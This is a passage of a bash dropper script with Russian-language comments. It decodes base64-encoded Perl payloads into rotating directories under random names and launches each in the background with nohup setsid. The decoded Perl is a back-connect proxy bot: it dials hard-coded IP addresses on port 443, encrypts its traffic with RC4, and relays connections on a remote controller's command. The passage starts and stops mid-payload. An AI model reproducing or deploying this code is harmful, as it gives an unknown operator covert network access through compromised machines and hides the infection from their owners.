KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #19 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #19 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 20 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #20 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #20 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 21 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK 